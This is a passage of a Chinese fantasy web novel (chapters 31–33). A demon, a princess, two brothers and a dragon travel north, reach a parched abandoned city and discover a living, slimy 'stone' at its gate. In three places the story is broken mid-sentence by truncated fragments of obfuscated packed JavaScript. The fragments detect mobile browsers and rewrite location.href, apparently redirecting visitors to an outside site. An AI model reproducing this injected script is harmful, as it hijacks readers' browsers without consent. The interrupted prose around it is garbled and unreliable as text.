想来想去,猜来猜去,以至于这些天里她闭上眼睛就是谢如许,睁开眼睛又能看到他。 简直难受!干脆外出来逛一逛,换换心情。 不过,如今既然已经知晓了他的身份,那和赵袂的交易岂不是没有用处了?那她是不是就不用费力走那么远去找什么寒潭天书了? 可是自己都已经答应她了,突然反悔是不是不太好? 想着,绛仙手中的动作停了下来。 与此同时,一辆朴素平常的马车骨碌碌从不远处的街道驶过。 绛仙直起身子定睛一看,发觉出了一丝不对劲。 这马车外表看起来朴实无华,但那用来钉车轮的钉子却暗藏玄机,这种材质的铁在整个汴京能用得起的人家一只手都能数得过来,谢家算一个,但这马车明显不是谢家的。 而且没有那家会在半夜三更外出,还走这么偏僻的小道。 看完马车,她又将目光投向了在车间驾车的车夫,那人头戴斗笠,几乎遮住了整张脸,但从直挺的脊背和白皙的手背不难看出这人一定不是经常驾车的。 而且,绛仙双眼微眯,这人的身形和气味有些熟悉啊! 她从房檐轻盈跃下,静悄悄跟在马车后面,想看看这人究竟要去哪里。 这马车左绕右绕,分明是想掩盖自己的目的地,还好绛仙跟得紧,否则真的有可能被这人给甩掉。 差不多一炷香的时间后,马车徐徐停在了一扇木门前,这木门外的一段是石子路。通过地上的车辙深度不难看出这车中只有两人。 一个是驾车的“车夫”,那另一个是谁? 绛仙躲在墙角,好整以暇地等着车内那人出来,没想到车夫勒了马之后好半晌都没有什么动作。 片刻后,那人说话:“阁下跟了这么久,不打算出来打声招呼吗?” 绛仙右眉一挑:被发现了?不会吧? 不过这个声音…… 绛仙缓缓从墙角走出,静静注视着那位“车夫”,探究道:“长公主殿下?” 赵袂这才拿下斗笠,理理衣袖后跃下马车,负手看着绛仙,眼中有些诧异:“我还当是谁,原来是绛仙姑娘。” 见是熟人,绛仙也懒得藏什么,直直朝着赵袂走去,在距离她两步以外停下,视线落在马车的车窗上,问:“这车内是?” 赵袂答道:“阿胤。” “哦?你带他来这儿干什么?”绛仙打量着这扇木门,门内透出一阵十分浓郁的药香,看样子是一家医馆,“治病?” 赵袂摇头,眼底隐隐无奈:“若是真的有人能治就好了。我是怕我离开的日子太久,阿胤一个人神志不清,待在宫中会有危险所以就想将他托付给我的一位朋友,代为照顾。” 说罢,她扣扣敲了三下,声音清脆利落,没过多久,院中就响起一阵沙沙的脚步声。 绛仙转过身正对木门,她倒要看看能人赵袂如此信任的朋友究竟是个什么样? 门被从内打开,门后站着的是一位削瘦的黄衣女子。 她身量矮小,脸色更是白得吓人,若是在夜中看到她怕是会误认成什么骷髅鬼怪。 ……不过也没什么区别了。 绛仙拧眉,“妖?” 女子转头看她,没有说话,只是对她露出一个友善的微笑。 绛仙心中诧异,没想到下令杀妖取丹的当朝长公主,最信任的竟然是一只妖? 还是一只……没有妖丹的妖? 赵袂一边掀开车帘一边向绛仙解释:“她名叫半见,是妖,也是我的一位好友,口不能言。” 绛仙诧异,哑巴? 赵承胤被赵袂搀扶着下车时,绛仙凑上前看了几眼。 四肢脱力,目光呆滞。 都不能用神志不清来形容了,这简直就是痴傻! 将赵承胤安稳安置在偏房后,半见引着两人来到了堂中。 不算大的正堂被两扇屏风分成了三块,左边一块摆着一张长桌和两个软垫,从桌上摆着的东西不难看出这地方是用来给患者诊脉的,右边则整齐摆放着三张床,床边摆着针灸用的针,和用来练习扎针的木头人。 最中间就是客人等候的区域了,一张四方的桌子旁摆着四个椅子,三人一人一个还空出来一个。 令绛仙奇怪的是,寻常医馆桌子上都会摆些药茶之类,再不济也是白水,可这家医馆的桌上摆着的却是一小方碗的麦糖。 像是小孩吃的。 绛仙随手捻起一颗看了看,半见不知从哪里拿出一个小本和一只笔,在纸上唰唰写了几个字,在绛仙面前展开。 绛仙抬眼,看到一行娟秀的字迹:若是姑娘想吃,直接拿就是,这糖是我自己做的,加了草药。 绛仙一顿,旋即把糖一扔,“谁要吃这东西?” 半见也不恼,低头提笔,不过片刻她就将小本推到赵袂面前: 阿袂,你且放心,我定会好生照料陛下。 赵袂心中一热,满怀感激地看向她,“多谢。” 半见轻笑着摇了摇头,告诉赵袂不必客气。 绛仙坐在一边撑着脑袋,等两人交流结束后,用手指轻扣一下桌面。 赵袂转而问:“绛仙姑娘可是有话要说?” 绛仙看向半见,意思很明显:接下来要说的话,她不能听。 半见生得一颗玲珑心,自然明白她的意思,对赵袂略一点头后就转身去了后堂。 鹅黄色的纱帘落下,绛仙盯着赵袂,道:“我改主意了。” 赵袂眼下一跳,“什么主意?” 绛仙指节轻敲桌面,道:“我不问你问题了,我要换个酬劳。” 听到不是撒手不干,赵袂明显松了口气,继续问:“绛仙姑娘还想要什么?” 绛仙眼珠转了转,道:“我要带三个人一起去。” 赵袂一顿,“三个人?” 谢如恙,长徽,还有一个谁? 绛仙伸出三根手指,每说一个名字就放下一个:“谢如恙,长徽,还有……谢如许。” “什么?”赵袂觉得不妥,“谢大公子身体不便,如何能撑得住这一路的奔波?而且就算我同意,那谢二公子可不一定同意,毕竟……” 绛仙十分自然地接话:“毕竟他把自己哥哥看得比眼珠子还要紧是吧?” 她粲然一笑,“没关系,只要你同意,其他的一切事情我来搞定。如何,答应吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850713|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵袂垂下眼,目光沉沉。 此事她本不想让太多人参与,毕竟人越多越容易生变,怕到时候发生什么难以把控的事情就不妙了。 况且,此行有多凶险还不得而知,若是这一路有人因此受伤或丧命又该如何? 绛仙注视着她,仿佛看穿了她心中所想,在她开口之前率先道:“你放心,他们的安全交给我,你只需要带路就行。” 赵袂和绛仙对上视线,见她一副胸有成竹的样子也不好再说些什么。 “好。”赵袂点头。 确定赵袂这边没什么意见之后就没什么难事了,谢如恙那人再犟还能犟得过她不成? 绛仙放松了身体靠在椅背上,拿了颗糖丢进嘴里,一阵清甜瞬间席卷了口腔。 这一路上不知道要遇到什么事,若是长徽和谢如恙都陷入险境,她就不信谢如许还能装得住! 到时候就让他选一选,究竟是将所有隐瞒的东西一五一十的告诉自己轻松,还是向谢如恙和长徽两个人解释轻松。 …… 赵袂将出发的日子定在了三天后。 到了当日,阳光明媚,丝毫没有冬日的阴冷。 绛仙站在谢府门外,面前是被改装过的超大号马车,车顶那颗大得离谱的翠色宝珠在太阳的照耀下闪着光。 谢如恙的声音从很远的地方传来,且音量越来越大。 他跳过门槛,上前扣住绛仙的肩膀,坚决道:“不行!” 绛仙回道:“为什么不行?” 谢如恙深吸一口气,眼中满是不解:“我哥身体不好你是知道的,你怎么能让他和我们一起去呢?要是他半路出什么意外的怎么办?” 绛仙啧啧两声,“还没出发呢你就开始诅咒他了?” “不是!”谢如恙极其认真地道,“不怕一万就怕万一!” 绛仙按下他的手,随意道:“有我在不会出事的。” “我不信。”谢如恙还是不愿意松口。 绛仙只好伸出三根手指对天发誓:“我发誓,这一路我会确保你哥的安全,你死我都不会让你哥死的,好吗?再说了,我和长徽两个人还保不住你哥一个人吗?” 谢如恙顿了一下,长徽和谢如许恰好前后走出府门。 长徽的目光在谢如许身上停了片刻后抱着包袱走上前,“谢兄放心,我定会保护好你的。” 谢如恙怎么能放心? 他快步跑到谢如许身边,抓着他的手臂恳求道:“哥,你别去了好不好?” 谢如许抚上弟弟的发顶,道:“阿恙放心,有绛仙姑娘的这句话,为兄一定不会出事的。” “可是……”谢如恙还是不依不饶。 谢如许轻笑:“你之前不还说这十多年以来我二人还未好好同游过,这次就当外出游玩了如何?” “可是危险啊!”谢如恙的嘴角都快撇到地底下了。 谢如许安抚道:“放心,没事的,我相信绛仙姑娘和长徽公子。” 绛仙嘴角挂着一抹狡黠的笑意,反手敲敲车窗,示意赵袂可以出发了。 出城向北走,极北之地有寒潭,寒潭栖玄武,守天书。 天书,可解世间万难。 车外风景缓缓飘过,日月浮沉,不知何时突然飘起了点点的白花。 听着耳边谢如恙惊喜的叫声和绛仙烦躁的制止声,谢如许唇边挂着的笑意变了些许意味。 这雪,他见得太多了。 31. 旱情 “昆仑山常年落雪,无昼夜之分,更无四季之分。一眼望去,不过山连着山,雪盖着雪,就连日月星辰都看不到。千年苦寒,除过我与兄长外从无其他活物存在过。就算是有,也经不住这寒雪烈风,不过半刻就会消散或冻成冰块。” 听到长徽的介绍,谢如恙失望地啊了一声。 在他的印象里,神仙居住的地方都是些聚天地万物之灵气的桃园仙境,再不济都要是水草丰盈的福地吧?可经过长徽这么一介绍,怎么事实与想象南辕北辙了呢? 他还是不死心,继续问:“那宫殿呢?你们睡哪儿啊?” 长徽摇头:“没有宫殿,山里是光秃秃的一片,我们也不需要睡觉。” “啊!”谢如恙一头栽在桌子上,发出邦的一声。 “怎么会是这样啊?待在那种鬼地方和坐牢有什么区别?”半晌,他又抬起头,“那神仙呢?神仙长什么样子?” 神仙总该是他印象里的仙风道骨,步步生莲了吧? 谁料,长徽低头沉思一会儿后摇头:“不知道。” 他一直待在昆仑山没有外出过,从来没有和其他地方的神仙打过交道,除过他的兄长。 可是,他早就已经记不清兄长长什么样子了,自然无法回答谢如恙的问题。 绛仙坐在一边,看着谢如恙几乎要裂开的脸,轻轻扣着茶杯,“你看他不就是了吗?” 谢如恙正要开口,却被长徽抢了先。 他看向绛仙,十分认真地道:“我并不是神仙。” “我是说脸啊,你和你哪位兄长竟然是兄弟,那脸应该也长得差不多啊!”绛仙随意转着杯子,眼神却总是有意无意地往窗边的谢如许身上瞟。 可是谢如许现在正盯着窗外发呆,即使被绛仙瞥了,也没有什么动作。 长徽顿了一下,慢吞吞地道:“其实……我与兄长,并非兄弟。” “啊?”谢如恙一听,整个人都兴奋了起来,连忙凑上前问,“为什么?” 绛仙一巴掌拍在他脑袋上,“一听到这种东西就精神了?” 谢如恙揉着脑袋,没有和绛仙计较,而是催促着长徽:“说说说说。” 对于异闻密辛他最为感兴趣,神仙的异闻密辛就更不用说了。 他一扫之前被打击过后的恹恹神情,双目炯炯地盯着长徽。 在两人的注视下,长徽缓缓地开了口:“我本是昆仑山下的一条白龙,是在刚生灵智的时候被兄长带上山的,我常年陪伴在他身边,沾了他身上的灵气化形,他便让我唤他一声兄长。” “他则不同,他是由昆仑山灵气所化,是真正的天生地养。” 长徽垂下眼,“我与他,差别甚大。” “灵气啊?”谢如恙似懂非懂的点点头,然后很快一拍手掌,“可你是龙诶,那你能不能变出原形让我看看?我还从来没见过真龙呢!” 长徽抬眼看他,斟酌道:“我原形太大,不妥。” 谢如恙微微有些失望,长长的哦了一声。 “你不是说那什么昆仑千年苦寒,所进去的活物每一个能撑过一天吗?那你怎么活的?天底下肯定不止你一条龙,他怎么偏偏就选中你了?”绛仙指尖沿着杯口滑过,语气甚是随意。 还没等长徽开口,谢如恙就反驳道:“你问他这个也没用啊,他不是刚刚开了灵智就被带走了吗?哪里知道为何?反倒是你……” 谢如恙从位置上下来,凑近了绛仙,一副不怀好意的样子。 绛仙往后一靠:“我怎么了?” 谢如恙笑嘻嘻地问:“我还没问过你呢,你是妖的话,那原形是什么呀?” 绛仙突然站起身,让谢如恙扑空,重重的摔在桌子上。 “你管我?” 谢如恙干脆在绛仙的位置上坐下了,“好吧好吧,你的原形该不会是什么人畜无害的东西吧?兔子?小鸟?” 他深知,对于绛仙这种不服输的性格来说,能让她难以启齿的不一定是美丑相关,一定是些和她这种性格不搭的东西。 见他兀自猜测,绛仙快步走到谢如许身边,道:“管管你弟!” 谢如许这才大梦初醒,回过头去,看着谢如恙笑了笑:“阿恙这是关心你。” “谁要他关心?这是我的隐私!”说完,她把手臂搭在谢如许身上,若有所指地道,“那大家也都很关心你啊,你要不要把你的隐私也说出来给大家听听?” “哦?”谢如许丝毫不避讳地和绛仙对上视线,在她弯弯的眼中看到了自己的小小倒影,“绛仙姑娘关心我?我还真是受宠若惊。” “少往自己脸上贴金!”绛仙咬牙切齿。 这时,一直在前面驾车的赵袂走了进来,看着屋中的四人道:“前面马车就不能走了,我们得下去。” 长徽站起身,背上剑蓄势待发:“好。” 谢如恙也应了声好,但又看向谢如许,脸上有些担心:“那我哥怎么办?他身子不好,跟我们一起走的话会累的。” “这有什么?”绛仙走上前,“走几步锻炼锻炼,这不也对身体好吗?” 谢如恙毅然摇头,“不行!路上危险。” “我可以保护他!” “不信!” “那你的意思就是让他留在马车上?”绛仙问。 谢如恙重重点头:“至少比外面安全!” 本来让谢如许跟着大家一起来谢如恙就不同意了,现在更是铁了心地想让他留在车里,不许他遇到一点危险。 绛仙闻言轻笑了一声,道:“你知不知道有一种东西,把肉放在一个罐子里保存好,等到吃的时候再把罐子撬开?你不觉得这马车就像个罐子吗?” 谢如恙闻言周身一颤,脑内似乎已经想到了妖兽撬开马车把谢如许吞进肚子里的场景,不住打了个寒颤;“不,不行!” 他小跑到谢如许身边,拉着他的手臂,瘪起嘴抱怨道:“我就说你不要来了嘛,现在外面这么危险,马车里也不安全,怎么办?” 谢如许轻叹一声,道:“没事的,这马车还算坚固,这地方看着也安全,你们放心去吧,我一个人可以的。” 绛仙一挑眉,听他这话是打算留在这儿了? 那她的谋算不就落空了?不行…… 她走上前刚要说话,却被长徽拦住,对方给她递了一个眼神后道:“既如此,我有个办法。” “什么办法?”谢如恙转头。 “我可在车外设下结界,妖物无法近身。车内的东西又齐全,谢公子可以安然待在车内等我们回来。”长徽一边说一边取下缠在剑上的布。 赵袂适才点点头:“可行。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850714|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢如许也道:“那便劳烦长徽公子了。” 绛仙站在长徽身后,完全被他给挡住了。她垂下眸,思索着刚刚那个眼神的意思。 等长徽设好结界后,谢如恙又拉着绛仙试了试,确认什么妖物和精怪都近不了马车后才放下心来。 看着站在车前的谢如许,他泪汪汪地道:“哥,你等我们,我们很快就回来。” 谢如许也朝他招手告别:“路上小心。” 带着笑意的眸子在看到绛仙后停了下来。 绛仙察觉他嘴唇动了动,那个口型似乎是在说…… “晚上见?” 绛仙轻声吐出这三个字后嗤笑一声转身,长徽把马栓好后快步跟了上来。 “绛仙姑娘方才说什么?” 绛仙抱着手臂,道:“没什么,希望你的结界有用。无论是对谁……” 说罢,她加快了步子往前走,把剩下三人远远落在身后。 走了没多久,绛仙突然停了下来。 不是为了等人,她发现周围的环境似乎有些异常,但又说不出来在哪里。 在四周看了一圈后,她明白了问题所在: 干。 太干了。 此时正值深冬,往北走应该是银装素裹的景象,就算是近期不下雪,土地也不该是这样干旱的情况,就连杂草都是一簇一簇的干枯断裂。 而且…… 她站在河道上,看着周围光秃秃的一片。 这一路走来,她竟然没有看到一条河? 不消片刻,谢如恙三人赶了过来。 谢如恙见绛仙站在河道上发呆,便走上前问:“你站在这里做什么?有什么不对吗?”他将手放在眼上远远眺望,看了好一会儿都没有发现什么不对劲的地方。 绛仙看向站在两人身后若有所思的赵袂,问:“近些年有重大旱情吗?” 赵袂摇摇头,看着已经有些开裂的河道也一时疑惑:“能旱至如此程度的,没有。” 她从袖中拿出那日的地图,对着三人指了指,“而且奇怪的是,方才我们来的路上有见到河和雪,再往北走则是奉天府,奉天府近些年的粮食产量要比之前高上不少,也完全没有大旱的迹象。怎么偏偏是这一片,河道干裂,旱情显著呢?” 谢如恙忙道:“那这会不会影响那个什么寒潭啊?寒潭不会也干了吧?” 长徽解释:“不会,玄武寒潭乃是仙家福地,不会受外物影响的。” 谢如恙松了口气:“那就好,不然我们就要白跑一趟了。” 赵袂眉间尚未舒展,收起地图后对众人道:“我们先走吧,往前走说不定会有什么发现。” 谢如恙看着周围的空旷,挠挠头:“可这里什么都没有,看地图也看不明白,我们怎么走啊?” “这里。”长徽的声音从远处传来,众人循声望去,只见他蹲在一个杂草堆里,只露出半截身子。 谢如恙提着衣摆跑过去,惊喜道:“这里有水诶!” 站在原地的绛仙和赵袂对视一眼,也跟着走上前去。 果然在杂草丛里看到了一缕涓涓细流。 虽然不多,但有水就有了方向。 赵袂眉宇略微舒展,看向这条小“溪”流向的方向,道:“既如此,我们就继续往前走吧。” 32. 湿热 四人沿着溪流的方向一路前行,奈何走了近两个时辰周围都没有什么变化,依旧是光秃秃的一片,依旧荒无人烟。 “真是怪了,这里这么大一片地方竟然连什么山妖精怪都没有?”绛仙觉得奇。 按理来说像这样荒芜人烟的地方最适合精怪们占山为王了,而且对于旱魃一类的妖物来说,干旱根本就算不上什么事,甚至还是天然的修炼圣地。 为何她走了这么久,不说一个人都没看到了,竟然连一个妖怪都没看到,方圆十里竟是半点妖气也没有? “许是有玄武坐镇,无妖物敢近?”长徽猜测。 绛仙却道:“那既然有玄武坐镇,这里应该是风调雨顺吧?怎么干旱成这样?” 长徽张了张口,最后还是摇头:“我不知。” 赵袂走在最前面,身后是紧紧跟着的谢如恙,听到绛仙和长徽两人的交谈后也开口加入:“而且,冬季大旱,太过奇怪了。” “确实奇怪。”绛仙忽得感到一阵口渴,加快了步子走上前,从谢如恙腰间摘下水壶,晃了晃却只听到几声咕嘟,她皱眉:“你都喝了?水牛啊?” 谢如恙本用绢帕擦着额角的汗,听到绛仙这一句瞬间不乐意了:“走了这么久当然渴啊!再说了,不是你说你不需要喝水吗?现在还要来拿我的水……” 他带着怨气从绛仙手里抢回水壶,心想自己早知道就多带些水了。 走了这么久,也不知道要走到几时去?天色将暮,今日不会要在野外将就一晚吧? “还不是因为要照顾你们?不然我为什么放着飞的不用,陪你们在地上走啊?”绛仙也气,但还没等她气多久,一个水壶就从眼前飞了过来。 她接过,抬眼看向不知何时停下的赵袂,听对方道:“若不介意,喝我的吧。” 绛仙还是没喝,将水壶原路扔了回去,“多谢好心,我不喝了。” 说罢,她抬头看向前方的漫漫长路,问:“我们这要走多久啊?天快黑了吧?” 谢如恙扶着长徽站得笔直的身体,一边捶背一边接话:“是啊,走了这么久都快累死了,我们能不能找个地方先休息一会儿?” 赵袂眉峰蹙起,环顾四周后竟没有一处可供歇脚的地方。 谁料,一直盯着前方出神的长徽突然开口,用手指向几人的斜前方,道:“再走几里,有个城郭。” “城郭?”绛仙诧异,“这种地方竟然有城郭?” 长徽点头,“不过城中无亮灯,应该是个荒城。” 听到今夜有地方可住,赵袂松了口气,“荒城也无妨,我们继续往前走吧,今夜就在荒城中歇一晚,明日再继续前进。” 谢如恙当然同意,点头如捣蒜:“对对对,有地方住可太好了。” 有了明确的目的地,几人都打起了精神,就连足下的步子都轻快了许多,原本还跟着赵袂身后唉声叹气的谢如恙此刻像是打了鸡血一样地往前冲,把其余几人远远落在了身后。 绛仙走在长徽身边,见他目不斜视,脊背挺直,道:“没想到你还有远视的能耐?” 长徽微微颔首:“谬赞。” “谁赞你了?” 说罢,她嗤一声加快步子往前走去,略过心事重重的赵袂,对着几乎要跑起来的谢如恙喊:“知道地方吗你就走?当心半路掉进坑里,我可不挖你出来。” …… 几人就这样忽快忽慢的往前走,却也是赶着天黑来到了长徽说的那处城郭前。 这城修得极妙,城墙高耸且坚固,饶是经历风吹雨打和干旱袭击也没有开裂崩塌的情况,城墙外还巧妙精细的设了瓮城,可见指挥修筑这座城之人的缜密心思。 赵袂沉下心来仔细观察着这城的城墙,敲敲打打,似乎想搞清楚这城墙用了什么样的材料才能如此坚固。 谢如恙和绛仙则是围着立在城门口的那块巨石探讨:“那上面是个什么字啊?” 绛仙摸着下巴,眯眼看了好半晌,还是道:“看不清。” 这块巨石上一共刻着三个字,下面两个是一个“夫”和一个“城”字,至于最上头的那个字许久被风沙侵蚀,只留下了狭长的一个点。 谢如恙摸着字迹感叹:“不过这字是真不错,遒劲有力,不知是何人所写。” 别的不说,谢如恙欣赏字画的能力可是一流的,能在他嘴里听到这个好字,在其他人眼里可就是天下无双级别的字迹了。 绛仙没反驳,只是围着石头转了一圈。 长徽在城四周仔细看了一遍,确认这城中和城外没有什么异样后走上前,“没什么问题,可以进去了。” 谢如恙摆摆手,“不着急。”说着就伸手拉长徽来一起欣赏这石头上的字迹,“长徽兄可能看清楚最上头的那个字是什么?” 长徽看一眼后也摇头。 谢如恙失望的叹了口气后又道:“这城也不知道荒了多久了,写这字的人肯定也早已作古,若是这人还存于世,我定要于此人结交一番。” 长徽不懂欣赏字画,但见他如此失落,便开口安慰:“会见到的。” “哦?”谢如恙兴奋地问,“莫非你有什么办法?” 长徽却摇头:“没有,但是人终有一死,你早晚都会见到这人的。” 谢如恙的表情一下子变了,“那我可能不太像过早见到这人,还有,长徽兄我……” 话没说完,他忽得感觉眼前一黑,什么都看不见了。 慌忙惊叫一声救命后听到了背后低低的笑声。 得逞后,绛仙放下了手,甩着手里的红布走到谢如恙面前,“怎么样?好玩吗?” “不好玩!你怎么这么幼稚?”突然的黑暗把谢如恙吓了一跳,他擦了擦鬓边的水渍,道,“你哪儿来的红布?怎么还有水?” “水?”绛仙这才低头看了看手中的红布,这才发现布的一角不知何时被水给浸湿了。 “这布哪儿来的?”谢如恙问。 绛仙嗅了嗅那处水渍,嗅得满腔鱼腥味后嫌恶地把它丢至一边。 “不知道,石头边上捡的。” 谢如恙擦脸的动作更用力了,“那得多脏啊!” 绛仙切一声,“让你和我呛。” “你这也太记仇了。”谢如恙小声抱怨,又听早已走到城门口的赵袂叫道:“天快黑了,我们还是先进去吧。” 长徽和绛仙都应了一声后走上前,谢如恙瘪瘪嘴后很快跟上。 而在众人都没有注意到的石头底部,正有点点的水迹沿着石缝缓缓流下,水质粘稠,像是汗珠又像是什么东西的涎水,在一处洼地汇成一汪。 进城后,谢如恙看着城内几乎完好无损的房屋和完备的设施,感叹道:“这城修得真好,怎么就一个人也没有呢?” 因为干旱?可这城里都没什么损毁的地方啊?而且,这城看起来至少能容纳几万人,要是这些人弃城而去,又会去哪里呢?他为何从未知晓此处有这样一个城郭呢? 满腹的疑问被赵袂打断。 她道:“这城建得是好,但是少了一个至关重要的东西。” 谢如恙问:“什么东西?” 绛仙抢先道:“蠢啊,护城河。” 赵袂看向绛仙,赞同地点了点头,“既连瓮城都有,怎么会少了护城河呢?” 经两人这么一说,谢如恙才恍然大悟,但想到方才引几人过来的那个溪流,又道:“若是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850715|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城能往前移一段就好了,那就有护城河了。” 如果那条河没有干旱的话…… 绛仙抱着手臂四下寻找着可以供几人歇脚的地方,道:“你因为这城是活得啊,往前爬几步就行了?” 谢如恙挠着头,瘪嘴道:“说一下嘛,这城里也没有人住,护城河这种东西也没什么必要。” 此时,长徽正好寻到了一座完整且宽敞的铺子,对着众人招手道:“今夜便歇在此处吧。” 他之所以选这座铺子是因为这铺子相较于其他铺子要方便一些,没有乱七八糟的柜子台面之类的,进门就能一眼览便房屋全局。 最主要的是,两侧各有一张大床,看起来像是医馆摆设,但奇怪的是屋中并没有医馆里的针灸之类的物什。 等众人收拾好东西,谢如恙率先坐在了凳子上,长长的舒了口气。 “终于能歇一歇了。” 说完,他以手作扇在脸边扇了扇,道,“好热啊,能不能开开窗户?” 长徽此刻正好站在窗边,顺手开了窗,却一眼就看到了在黑夜中耸立着的高楼。 “那是什么?” 听到他发问,谢如恙带着吹风的意思走上前,也往远处看。 “塔?还是楼?”想了想后,他道,“应该是和雷公塔差不多的东西吧?” 雷公塔,在汴京城中就有,这东西是用来躲避雷暴伤人的。 长徽似懂非懂地点了点头,又听谢如恙抱怨,“怎么开窗了还是这么热?不是冬天吗?” 赵袂此时也缓缓走到两人身边,蹙眉道:“确实,方才在城外也没有这般炎热,而且……”停顿一下后,她说出了自己心中所想,“这里好湿。” 在城外如此干旱的情况下,这城里竟然是湿热的。 就像是整个人闷在一个鱼筐里一样。 “这里不会有问题吧?”谢如恙有些担心。 可现在外面天已经黑了,再找个落脚的地方也不现实。 长徽垂眸想了想后,背起剑,“我外出查看一番,绛仙姑娘……”他看向坐在床边的绛仙,“劳烦你在此处看顾他们。” 绛仙都已经准备直接躺下了,突然被这么一叫,愣了一下后应道:“好。” 在这里看人总比在外头跑要来得轻松。 赵袂叹了口气后对长徽道:“当心。” 长徽离开,赵袂熄了放在桌上的蜡烛,周围陷入一片黑暗,就连月亮也被乌云挡住,整个城中没有任何光亮。 后半夜,赵袂是被热醒的。 一睁眼就看到自己床边站着一个人,等双目清明后,她才发现那人是谢如恙。 可他不应该是睡在对面的床上吗? 她定了定心神,黑夜之中看不清对方的表情,只当他是太热或是有话想说,可谁料“谢公子”三个字刚落下,谢如恙的手就直直冲着她的脖颈袭来。 赵袂赶忙从床上翻起,转至一边,“谢公子?发生了何事?” 谢如恙略微僵硬地回头,一双清明的瞳孔此时却是深潭一般的寂静。 “为什么……”他道。 赵袂蹙眉,什么为什么? “为什么……”谢如恙拖着沉重的步子一点一点靠近,嘴里不停地念着为什么。 直到站在赵袂面前,他忽得面露凶光,补全了之后的话:“为什么要杀我!!!” 赵袂一惊,飞快地绕到他身后,擒住他的肩膀,道:“谢公子?你怎么了?” 话刚说完,她又一怔。 这么大的动静绛仙不会察觉不到,就在她刚刚往绛仙床上一瞥时,她发现原本应该睡着人的床榻,此时竟空无一人。 绛仙,去哪儿了? 33. 玄夫 绛仙这一晚上都没有睡着,总是觉得有什么事情不太对,但想了好久都没有想清楚,直到半个时辰前,她脑海中突然浮现出刚刚进入城门时的那条红布。 湿的?可是这方圆百里唯一的水源要在距离城门几十里外,这红布是如何沾上水的?就算是沾上了水,又是如何掉在石头边上的? 被风吹?可若真的是被风吹到此处的,那为什么隔了这么长的时间还会那么湿润? 以及最让她费解的,是那水渍上的腥味。 按理说那腥味应该是在海边才能沾染上的,此处水都不多,哪里来的海? 越想越不对,绛仙干脆从床上翻起,在周围看了一圈确认赵袂和谢如恙两个人都没有什么异常后才出了门。 不知为何,前脚刚踏出房门,她就下意识地往后看了一眼,在黑夜中那高耸着的黑塔还是一样的显眼。 与其他塔不同的是,这塔是方形的,像是一根极高的四方柱子立在城中央,毫无观赏性,不知道这东西到底有什么用处。 看了一会儿后,绛仙才忽然发现一丝不对,这塔不止有城中央的一座,在城的东西两边各有一座黑塔与它并肩而立。 各个都是通体漆黑,四方工整,很难不让来人感到压抑。 可对绛仙来说,比起压抑,更多的奇怪。 那座城的主人不想把城修得漂漂亮亮的,怎么这城主人把这塔做得如此违和难堪? 绛仙没忘记自己外出的目的,只停留了一会儿后便转身往城门口走。 等到了城门口,她眯着眼睛向远处眺望,确定这周围的确没有其他水源后俯下身捡起了石头旁的红布。 感受到指尖的湿润后,她一惊。 这么干燥的天气这块红布竟然还有湿意?如果说白日的异常能用巧合来解释,那现在呢? 绛仙心下一沉,环顾四周后只能将目光放在面前的这块石头上。 这石头的模样和其他石头没什么差别,而且石头嘛,大多都是怪模怪样的,能看出什么来就怪了。 可是…… 她顿了一下,在石头后方蹲下身,对着一个小坑看了又看。 这坑绝对不是人为或着什么动物挖出来的,倒像是,水冲出来的? 她用手摸了摸,发现这里的土壤和其他地方的一样干燥。 很快,她又在石头前方发现一个和方才一样的小坑,但与之不同的是,这个小坑周围的土壤还残留着一些湿意。 绛仙用指尖捻起一小块土,嗅了嗅后发现这土的味道和方才红布上的一模一样——海腥味。 她不由蹙起眉,心中的疑惑越堆越多。 为何都是小坑,刚刚的那个就是干的,这个就是湿的? 难道是和这块石头有关系? 想着,她缓缓站起身,仔细观察着面前的巨石,还是只有夫和城两个字能看得清楚。 “这究竟是个什么鬼地方?”绛仙叉着腰,愤愤在这块石头上踢了一脚,下一瞬却一阵头皮发麻。 因为这石头,是软的!像是什么东西身上的软肉一样,只要用力就会陷阱去。 脚尖的湿润顺着脊背一直传到脑后,绛仙顿觉一阵恶心,连这石头究竟是什么都懒得管了。 那恶心人的海腥味不会沾在鞋上了吧? 她低头看了看脚尖,恨不得现在就把鞋脱了。 “可恶。”她咬起牙关,再次看向这块“石头”。 “你究竟是个什么东西?”她凑近了瞧,忍着恶心伸手摸了摸。 质软,湿润,似有鳞片。 鱼?绛仙摇摇头,否定了这个猜想,因为这石头的样子也不像鱼啊。 寻常石头成精她也见过,就没见过一个把自己的外在特征都给修没的。 摸着摸着,绛仙忽然感到手下的东西似乎在动?而在她手上方的几寸,一个像嘴一样的小点正在一下一下的张合,与此同时一行粘稠的液体正顺着那个小口缓缓流下。 好在绛仙反应迅速,很快收回了手,才没让那口水似的东西流在手上。 